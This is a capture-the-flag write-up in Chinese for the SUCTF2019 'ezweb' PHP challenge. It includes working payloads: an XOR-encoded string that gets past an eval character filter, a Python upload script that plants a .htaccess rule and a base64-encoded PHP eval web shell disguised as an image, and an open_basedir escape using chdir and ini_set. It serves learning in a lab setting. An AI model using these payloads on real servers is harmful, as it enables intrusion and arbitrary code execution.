0%

SUCTF2019 ezweb

SUCTF2019 ezweb

BUU平台上复现题目,主要学习了一下异或绕过的操作还踩了一些奇奇怪怪的坑,题目共三层,层层绕过搞了我好几天,还是太菜了

第一层

第一层源码

$hhh = @$_GET['_'];;

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F];+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

PS:不可见字符全部以十六进制编码的方式进行了展示,复现时需注意(因为url编码hexo要报错)

PHP特性”Use of undefined constant”会将代码中没有引号的字符默认为字符串,因此我们$_GET过去的数据也都被认为是字符串
又ASCII大于0x7F的字符都会被认为是字符串,因此在过滤了全部字母和数字的情况下,我们还可以用不可见字符进行异或或者取反来得到需要的内容
这里取反也挂了,所以用异或,同时异或%FF就等于取反,并且%FF还相对节约了一个字符,如果可行也不需要太麻烦的fuzz测试去找怎么异或,思路是再搞一个$_GET来绕过之前的一大堆限制,这里_GET的参数要是之前用来异或过的内容,节约字符串
$_GET[];的中括号也挂了,这个用大括号直接替代也没有问题,构造出如下payload并成功执行,第一层就算过了
?_=${0xfe0xfe0xfe0xfe^0xa10xb90xbb0xaa}{0xfe}();&0xfe=phpinfo
这里整体payload作为被默认作为了一个字符串进入eval函数,而eval函数将整个字符串作为代码执行,其中ASCII大于0x7f的不可见字符又会被认作字符串进行异或,最终得出我们想要的结果

实际上异或能凑的不同字符数这么少不容易,如果不行就得fuzz所有组合眼睛看的去找了

第一个坑

wp中payload为?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=phpinfo
这里_GET也需用大括号括起来,因为eval在执行过程中,如果遇到了$符号,则直接将后续部分任务是变量名,这样我们就得到了一个名为${0xfe0xfe0xfe0xfe^0xa10xb90xbb0xaa}的变量,不去计算异或,然后产生错误退出,添加大括号之后使得我们先执行大括号中的内容,将异或后的_GET拿了出来,才能得到正确的结果

第二个坑

本地测试
eval($_GET['a'];);
?a=$_GET[b]();&b=phpinfo时能正常执行,而?a=$_GET[b];&b=phpinfo();试了半天。。。。不会调试的我也太菜了。
就是当一个变量以$a()的形式出现的时候,PHP会认为它是一个函数,从而eval就会执行phpinfo();这个函数,如果我们以后者的方式进行执行,就只是一个$_GET[b];,得到了一个内容为phpinfo();的字符串,存在$_GET这个全局变量里面

第二层

第一层过了之后可以执行的get_the_flag函数

function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR'];);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"];)){
        $tmp_name = $_FILES["file"];["tmp_name"];;
        $name = $_FILES["file"];["name"];;
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

可以先看一下PHP版本,7+所以过滤<?之后<script>这种方法就绕不过去了,并且过滤了ph的后缀,利用htaccess绕过
需要手搓代码上传文件,知识盲区,网上抄了一个现成脚本

import requests
import base64

url = "http://b11cd486-9833-4bef-bf24-967205c05ada.node3.buuoj.cn/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();" \
      "&%fe=get_the_flag"


htaccess = b"""#define width 1 
#define height 1 
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/shell.cc"

"""
# 把.cc解析为PHP,并且将上传的shell添加到末尾,base64编码绕过检测

shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00" + base64.b64encode(b"<?php eval($_GET['c'];);?>")
# shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ b"<script language='php'>eval($_REQUEST[c];);</script>"
# 玄妙的字符可以绕过exif_imagetype,补的00用来base64解码,否则解码可能无法还原后面shell部分。字符串前面的b表示字符串为byte类型,为网络数据传输需要格式

files = [('file', ('.htaccess', htaccess, 'image/jpeg'))];

data = {"upload": "Submit"}

r = requests.post(url=url, data=data, files=files)
print(r.text)


files = [('file', ('shell.cc', shell, 'image/jpeg'))];
r = requests.post(url=url, data=data, files=files)
print(r.text)

第三层

open_basedir绕过
这个shell打上去之后就基本为所欲为,但是看phpinfo可以看到一个open_basedir的限制,直接用chdir加ini_set绕过chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

后记

这个题看记录是去年十月底左右开始写的,之后十一月份就开始忙srtp?还是期末?寒假浑浑噩噩到现在才开始继续学习,今天算是把之前欠下的补回来,总的来说,没好好学习呜呜呜,最近加油吧,时隔三个多月完全没看题,现在的我又是一个零基础菜逼了

参考文章

https://xz.aliyun.com/t/5677
https://www.smi1e.top/%E5%9B%BD%E8%B5%9Blove_math%E9%A2%98%E8%A7%A3/